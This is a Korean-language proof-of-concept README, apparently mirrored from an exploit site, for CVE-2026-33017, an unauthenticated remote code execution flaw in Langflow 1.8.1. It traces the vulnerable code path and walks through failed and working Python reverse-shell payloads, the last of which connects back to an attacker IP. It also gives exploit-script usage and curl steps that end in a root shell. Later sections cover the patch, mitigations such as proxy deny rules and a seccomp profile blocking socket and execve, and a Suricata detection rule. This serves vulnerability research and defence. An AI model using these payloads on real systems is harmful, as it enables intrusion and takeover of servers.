## https://sploitus.com/exploit?id=4EC627F7-506D-5C45-8BED-80F8302EDDE6
# CVE-2026-33017 β Langflow Unauthenticated RCE PoC
> **λ©΄μ±
μ‘°ν**
> λ³Έ μ μ₯μλ **보μ μ°κ΅¬ λ° κ΅μ‘ λͺ©μ **μΌλ‘ μ μλμμ΅λλ€.
> 격리λ μ€μ΅ νκ²½μμλ§ μ¬μ©νμμμ€.
> νκ°λμ§ μμ μμ€ν
μ μ¬μ©νλ κ²μ μ 보ν΅μ λ§λ² μλ°μΌλ‘ νμ¬μ²λ² λμμ
λλ€.
---
## 1. μ·¨μ½μ κ°μ
| νλͺ© | λ΄μ© |
|------|------|
| CVE ID | CVE-2026-33017 |
| μ·¨μ½ μννΈμ¨μ΄ | Langflow (AI μν¬νλ‘μ° λΉλ) |
| μν₯ λ²μ | Langflow β€ 1.8.1 |
| ν¨μΉ λ²μ | Langflow β₯ 1.9.0 |
| μ·¨μ½μ μ ν | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | λ±μ¬ |
---
## 2. μ·¨μ½μ μμΈ λΆμ
### 2-1. μ·¨μ½ μλν¬μΈνΈ
```
POST /api/v1/build_public_tmp/{flow_id}/flow
```
Public νλ‘μ° λΉλμ© μλν¬μΈνΈλ‘, **μΈμ¦ μμ΄ μ κ·Ό κ°λ₯**νλλ‘ μ€κ³λ μλν¬μΈνΈλ€.
### 2-2. μ½λ μ€ν κ²½λ‘ (Call Chain)
μμ€ μ½λλ₯Ό μ§μ μΆμ νμ¬ νμΈν μ€ν κ²½λ‘:
```
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
β
βΌ
langflow/api/v1/chat.py β build_public_tmp()
data = request.body["data"] β ν΄λΌμ΄μΈνΈ μ
λ ₯ κ·Έλλ‘ μμ (μ·¨μ½μ )
β
βΌ
langflow/api/build.py β start_flow_build()
data = FlowDataRequest β ν΄λΌμ΄μΈνΈ data κ·Έλλ‘ μ λ¬
β
βΌ
lfx/custom/eval.py β eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
β
βΌ
lfx/custom/validate.py β create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
β
βΌ
lfx/custom/validate.py β prepare_global_scope()
exec(compiled_code, exec_globals) β μμ μ½λ μ€ν
```
### 2-3. AST λ
Έλ νν°λ§ β νμ΄λ‘λ μ€κ³μ ν΅μ¬ μ μ½
`prepare_global_scope()` ν¨μλ μ μΆλ μ½λμ λͺ¨λ ꡬ문μ μ€ννμ§ μλλ€.
AST νμ± ν **νΉμ λ
Έλ νμ
λ§** μ λ³νμ¬ μ€ννλ€:
```python
# lfx/custom/validate.py β prepare_global_scope() λ΄λΆ
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# β Expr λ
Έλλ μ΄λμλ ν¬ν¨λμ§ μμ β μ€ν μ λ¨
exec(compiled_code, exec_globals) # definitionsλ§ μ€ν
```
μ€ν κ°λ₯ν AST λ
Έλ νμ
:
| AST λ
Έλ νμ
| μμ | μ€ν μ¬λΆ |
|--------------|------|---------|
| `FunctionDef` | `def _shell(): ...` | β
μ€ν |
| `ClassDef` | `class ExploitComponent(Component)` | β
μ€ν |
| `Assign` | `_r = os.system("id")` | β
μ€ν |
| `AnnAssign` | `_r: int = os.system("id")` | β
μ€ν |
| `Expr` | `os.system("id")` (λ¨λ
νΈμΆ) | β 무μ |
> **κ²°λ‘ **: νμ΄λ‘λλ λ°λμ `Assign` νν(`_r = ...`)λ‘ μμ±ν΄μΌ μ€νλλ€.
> λ¨μ ν¨μ νΈμΆ(`os.system("id")`)μ `Expr` λ
Έλλ‘ λΆλ₯λμ΄ νν°μμ κ±Έλ¬μ§λ€.
### 2-4. 리λ²μ€ μ νμ΄λ‘λ μ€κ³ κ³Όμ β μλμ μ€ν¨ λΆμ
μ€μ΅ κ³Όμ μμ μ¬λ¬ νμ΄λ‘λ λ°©μμ μλνμμΌλ©° κ° μ€ν¨ μμΈμ μμ€ λ 벨μμ κ·λͺ
νμλ€.
#### μλ 1 β `subprocess.Popen` + `wait()` (μ€ν¨)
```python
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # β μ¬κΈ°μ λΈλ‘νΉ
```
**μ€ν¨ μμΈ**: Langflow μ컀 μ€λ λκ° μ»΄ν¬λνΈ λ°νκ°μ κ°μνλ€κ°
νμμμ μ μμΌμ κ°μ λ‘ λ«μλ²λ¦Ό. `_proc.wait()` λΈλ‘νΉμ΄ 무μλ―Έν΄μ§.
#### μλ 2 β `os.execve()` μ§μ νΈμΆ (μ€ν¨)
```python
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
```
**μ€ν¨ μμΈ**: POSIX κ·μΉμ λ©ν°μ€λ λ νλ‘μΈμ€μμ `execve()` νΈμΆ μ
νΈμΆ μ€λ λ μΈ **λͺ¨λ μ€λ λκ° μ’
λ£**λ¨ β uvicorn μ컀 μ 체 ν¬λμ β HTTP 500.
#### μλ 3 β `os.fork()` + `execve()` (μ€ν¨)
```python
_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
```
**μ€ν¨ μμΈ**: uvicornμ΄ μμ νλ‘μΈμ€λ₯Ό λΉμ μ μ’
λ£λ‘ κ°μ§νμ¬
μ컀λ₯Ό μ¬μμμν΄ β HTTP 500.
#### μλ 4 β `threading.Thread(daemon=True)` (μ€ν¨)
```python
threading.Thread(target=_shell, daemon=True).start()
```
**μ€ν¨ μμΈ**: `daemon=True` μ€λ λλ λ©μΈ μ€λ λ(Langflow μ컀) μ’
λ£ μ
ν¨κ» μλ©Έλ¨. `connect()` μλ μ μ μ€λ λκ° μ£½μ΄λ²λ¦Ό.
#### μ΅μ’
λμ νμ΄λ‘λ β `threading.Thread(daemon=False)` + `Assign`
```python
# FunctionDef β μ€νλ¨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign β μ€νλ¨ (Expr λ¨λ
νΈμΆμ νν°μμ μ μΈλλ―λ‘ λ°λμ λ³μ λμ
)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
```
`daemon=False` μ ν μ΄μ :
- `daemon=True` β Langflow μ컀 μ€λ λ μ’
λ£ μ ν¨κ» μλ©Έ
- `daemon=False` β μ컀μ λ
립μ μΈ μλͺ
μ£ΌκΈ° β μμΌ μ°κ²° μ μ§ κ°λ₯
---
## 3. μ€μ΅ νκ²½ ꡬμ±
### 3-1. νμΌ κ΅¬μ‘°
```
CVE-2026-33017/
βββ README.md
βββ Dockerfile # μ·¨μ½ Langflow 1.8.1 νκ²½
βββ Dockerfile.attacker # 곡격μ 컨ν
μ΄λ (curl, nc, net-tools ν¬ν¨)
βββ docker-compose.yml # μ·¨μ½ μλ² + 곡격μ 컨ν
μ΄λ
βββ entrypoint.sh # Langflow κΈ°λ λ° Public νλ‘μ° μλ μμ±
βββ exploit.py # 리λ²μ€ μ PoC
βββ poc.py # Blind RCE / μ·¨μ½μ μ‘΄μ¬ νμΈ
```
### 3-2. νκ²½ κΈ°λ
```bash
# 1. 컨ν
μ΄λ λΉλ λ° κΈ°λ
docker compose up --build
# 2. Langflow Web UI μ μ νμΈ
# http://localhost:7860
# admin / admin123!
# 3. 컨ν
μ΄λ IP νμΈ
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
```
### 3-3. λ€νΈμν¬ κ΅¬μ±
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Docker Bridge Network: poc-net β
β β
β langflow-vuln-lab 172.19.0.2:7860 (νΌν΄μ) β
β langflow-attacker 172.19.0.3 (곡격μ) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## 4. PoC μ¬μ©λ²
### 4-1. exploit.py β 리λ²μ€ μ
곡격μ 컨ν
μ΄λ μμμ μ€ν:
```bash
docker exec -it langflow-attacker bash
# μλ λͺ¨λ (ν ν° λ°κΈ + Public νλ‘μ° μμ± + λ΄μ₯ 리μ€λ ν¬ν¨)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
```
μ΅μ
:
| μ΅μ
| μ€λͺ
| κΈ°λ³Έκ° |
|------|------|--------|
| `--url` | λμ Langflow URL | νμ |
| `--lhost` | 리λ²μ€ μ μ½λ°± IP | νμ |
| `--lport` | 리λ²μ€ μ μ½λ°± ν¬νΈ | νμ |
| `--flow-id` | Public νλ‘μ° UUID (μλ΅ μ μλ μμ±) | μλ |
| `--user` | κ΄λ¦¬μ ID | admin |
| `--password` | κ΄λ¦¬μ PW | admin123! |
| `--no-listen` | λ΄μ₯ 리μ€λ λΉνμ±ν (μΈλΆ nc μ¬μ© μ) | False |
| `--timeout` | HTTP νμμμ(μ΄) | 30 |
κΈ°λ μΆλ ₯:
```
============================================================
CVE-2026-33017 β Langflow Unauthenticated RCE PoC
============================================================
[*] λ‘κ·ΈμΈ μ€... (admin)
[*] ν ν° λ°κΈ μ±κ³΅
[*] Public νλ‘μ° μμ± μ€...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리μ€λ μμ β 0.0.0.0:4444
[*] μλν¬μΈνΈ : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] μ½λ°± : 172.19.0.3:4444
[*] νμ΄λ‘λ μ μ‘ μ€...
[*] HTTP μλ΅ : 200
[+] μ μ°κ²°λ¨ β 172.19.0.2:XXXXX
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
```
### 4-2. poc.py β Blind RCE νμΈ
μ·¨μ½μ μ‘΄μ¬ μ¬λΆλ§ νμΈν λ μ¬μ©:
```bash
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
```
### 4-3. curl μλ μ¬ν
```bash
# 1. ν ν° λ°κΈ + Public νλ‘μ° μμ±
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리μ€λ (ν°λ―Έλ 1)
nc -lvnp 4444
# 3. νμ΄λ‘λ μ μ‘ (ν°λ―Έλ 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
```
---
## 5. exploit.py vs poc.py μν ꡬλΆ
| νλͺ© | exploit.py | poc.py |
|------|-----------|--------|
| λͺ©μ | 리λ²μ€ μ νλ | μ·¨μ½μ μ‘΄μ¬ νμΈ (Blind RCE) |
| κ²°κ³Ό νμΈ | 곡격μ ν°λ―Έλ μ§μ | μλ² λ‘κ·Έ / OOB |
| 리μ€λ | λ΄μ₯ ν¬ν¨ | λΆνμ |
| λ€μ€ λμ | λ―Έμ§μ | μ§μ (`--url-file`) |
| μ€μ΅ μ©λ | μν₯λ μ¦λͺ
| μ·¨μ½μ μ‘΄μ¬ μ¦λͺ
|
---
## 6. ν¨μΉ λΆμ β 1.8.1 vs 1.9.1
### 6-1. μ·¨μ½ μ½λ (1.8.1)
`langflow/api/v1/chat.py`:
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # β ν΄λΌμ΄μΈνΈ μ
λ ₯ μμ
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # β ν΄λΌμ΄μΈνΈ data κ·Έλλ‘ λΉλ νμ΄νλΌμΈμ μ λ¬
...
)
```
### 6-2. ν¨μΉ μ½λ (1.9.1)
`langflow/api/v1/chat.py` (μμ€μμ μ§μ νμΈ):
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data νλΌλ―Έν° μκ·Έλμ²μμ μμ μ κ±°
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # β νλμ½λ© None, ν΄λΌμ΄μΈνΈ μ
λ ₯ μμ μ°¨λ¨
source_flow_id=flow_id, # β DBμμλ§ νλ‘μ° μ μ λ‘λ
...
)
```
### 6-3. ν¨μΉ μ /ν λμ λΉκ΅
| νλͺ© | 1.8.1 (μ·¨μ½) | 1.9.1 (ν¨μΉ) |
|------|-------------|-------------|
| `data` νλΌλ―Έν° μμ | β
μμ | β μκ·Έλμ²μμ μ κ±° |
| ν΄λΌμ΄μΈνΈ λ
Έλ μ μ μ€ν | β
κ°λ₯ | β λΆκ° |
| νλ‘μ° μ μ μΆμ² | ν΄λΌμ΄μΈνΈ μμ² λ°λ | DB μ μ₯ κ°λ§ |
| μΈμ¦ μμ΄ RCE | β
μ±κ³΅ | β μ°¨λ¨ |
| HTTP μλ΅ | 200 + μ μ°κ²° | 200 (λΉ λΉλ, λ
Έλ μμ) |
### 6-4. ν¨μΉ μ€κ³ νκ°
λ¨μ μ
λ ₯κ° κ²μ¦μ΄ μλ **νλΌλ―Έν° μ체λ₯Ό μ κ±°**ν μ€κ³κ° μ¬λ°λ₯Έ μ΄μ :
```
μ·¨μ½ν μ€κ³: ν΄λΌμ΄μΈνΈ μ
λ ₯ β κ²μ¦ β μ€ν (κ²μ¦ μ°ν κ°λ₯μ± μ‘΄μ¬)
ν¨μΉ μ€κ³: ν΄λΌμ΄μΈνΈ μ
λ ₯ β μμ 무μ
DB μ μ₯ νλ‘μ°λ§ β μ€ν (곡격 κ²½λ‘ μ체 μ κ±°)
```
---
## 7. μ‘°μΉ λ°©λ²
### μ‘°μΉ 1 β λ²μ μ
λ°μ΄νΈ (κ·Όλ³Έ ν΄κ²°)
```bash
pip install langflow==1.9.1
```
### μ‘°μΉ 2 β Nginx 리λ²μ€ νλ‘μ μλν¬μΈνΈ μ°¨λ¨
νμΌ μμΉ: `nginx.conf` (μ κ· μμ±)
```nginx
server {
listen 80;
# CVE-2026-33017 μ·¨μ½ μλν¬μΈνΈ μ°¨λ¨
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
```
> **μ£Όμ**: Langflow 7860 ν¬νΈμ μΈλΆ μ§μ λ
ΈμΆλ μ°¨λ¨ν΄μΌ ν¨κ³Όμ .
### μ‘°μΉ 3 β Apache 리λ²μ€ νλ‘μ μλν¬μΈνΈ μ°¨λ¨
νμΌ μμΉ:
- Ubuntu/Debian: `/etc/apache2/sites-available/langflow.conf`
- CentOS/RHEL: `/etc/httpd/conf.d/langflow.conf`
```apache
Require all denied
```
### μ‘°μΉ 4 β Public νλ‘μ° λ―Έμ¬μ© μ μ±
Public νλ‘μ°κ° μμΌλ©΄ μλν¬μΈνΈκ° 404λ₯Ό λ°ννμ¬ κ³΅κ²© λΆκ°.
μ΄μ μ μ±
μΌλ‘ Public νλ‘μ° μμ±μ κΈμ§νκ±°λ κΈ°μ‘΄ νλ‘μ°λ₯Ό PRIVATEμΌλ‘ λ³κ²½.
### μ‘°μΉ 5 β AWS Security Group (λ€νΈμν¬ λ 벨)
EC2 νκ²½ κΈ°μ€:
```
μΈλ°μ΄λ κ·μΉ:
ν¬νΈ 7860 β νκ°λ IPλ§ νμ© (0.0.0.0/0 μ κ±°)
```
### μ‘°μΉ 6 β 컨ν
μ΄λ μμλ°μ΄λ μ°¨λ¨ (리λ²μ€ μ μ½λ°± μ°¨λ¨)
RCEκ° μ±κ³΅νλλΌλ μΈλΆ μ½λ°±μ μ°¨λ¨:
```bash
# langflow 컨ν
μ΄λ μμλ°μ΄λ μ°¨λ¨
iptables -I DOCKER-USER -s -j DROP
```
λλ docker-compose.yml:
```yaml
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
```
### μ‘°μΉ 7 β 컨ν
μ΄λ νλλ (νΌν΄ μ΅μν)
```yaml
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
```
seccomp νλ‘νμΌλ‘ μν syscall μ°¨λ¨ (`langflow-seccomp.json`):
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
```
```yaml
security_opt:
- seccomp:./langflow-seccomp.json
```
### μ‘°μΉ λ°©λ² μ’
ν©
| μ‘°μΉ | μ ν | ν¨κ³Ό |
|------|------|------|
| 1.9.1 μ
λ°μ΄νΈ | κ·Όλ³Έ ν΄κ²° | `data` νλΌλ―Έν° μ κ±° |
| Nginx/Apache μ°¨λ¨ | μ κ·Ό μ°¨λ¨ | 곡격 κ²½λ‘ μ°¨λ¨ |
| Public νλ‘μ° λ―Έμ¬μ© | μ κ·Ό μ°¨λ¨ | μλν¬μΈνΈ 404 |
| AWS Security Group | λ€νΈμν¬ μ°¨λ¨ | μΈλΆ μ κ·Ό μμ² μ°¨λ¨ |
| μμλ°μ΄λ μ°¨λ¨ | μ¬ν μ°¨λ¨ | 리λ²μ€ μ μ½λ°± μ°¨λ¨ |
| 컨ν
μ΄λ νλλ | νΌν΄ μ΅μν | κΆν μμΉ/syscall μ°¨λ¨ |
---
## 8. νμ§ β IoC
### νμ§ ν¨ν΄
μμ¬ HTTP μμ²:
```
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
```
Langflow μλ² λ‘κ·Έ ν¨ν΄:
```
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
```
### Suricata/Snort λ£°
```
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
```
---
## 9. μ°Έκ³ μλ£
- [NVD β CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [EQSTLab/CVE-2026-33017](https://github.com/EQSTLab/CVE-2026-33017)
- [Langflow 곡μ ν¨μΉ 컀λ°](https://github.com/langflow-ai/langflow)
- [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [JFrog Security Research](https://jfrog.com/blog/)
---
## 10. κΈ°μ‘΄ κ³΅κ° PoCμμ μ°¨λ³μ
λ³Έ μ μ₯μλ λ¨μ PoC μ€νμ΄ μλ **μμ€ λ 벨 λΆμ**μ ν΅ν΄ λ€μμ μΆκ°λ‘ κ·λͺ
νμλ€:
1. **AST λ
Έλ νν°λ§ λ°κ²¬**
`lfx/custom/validate.py`μ `prepare_global_scope()`κ° `Expr` λ
Έλλ₯Ό 무μνλ€λ μ¬μ€μ μμ€ λΆμμΌλ‘ μ§μ νμΈ. μ΄λ‘ μΈν΄ κΈ°μ‘΄ κ³΅κ° PoCμ λ¨μ ν¨μ νΈμΆ νμ΄λ‘λκ° μ΄ νκ²½μμ μ€ν¨νλ μ΄μ λ₯Ό κ·λͺ
.
2. **νμ΄λ‘λ μ€ν¨ μμΈ λΆμ**
`Popen+wait()`, `execve()`, `fork()+execve()`, `daemon=True` μ€λ λ λ± 4κ°μ§ λ°©μμ μ€ν¨ μμΈμ uvicorn λ©ν°μ€λ λ ꡬ쑰 λ° POSIX κ·μΉ κ΄μ μμ λΆμ.
3. **ν¨μΉ μ½λ μ§μ νμΈ**
1.9.1μ `chat.py`μμ `data=None` νλμ½λ© λ° νλΌλ―Έν° μ κ±°λ₯Ό μμ€ λ 벨μμ μ§μ νμΈνμ¬ ν¨μΉ μ€κ³ μλ λΆμ.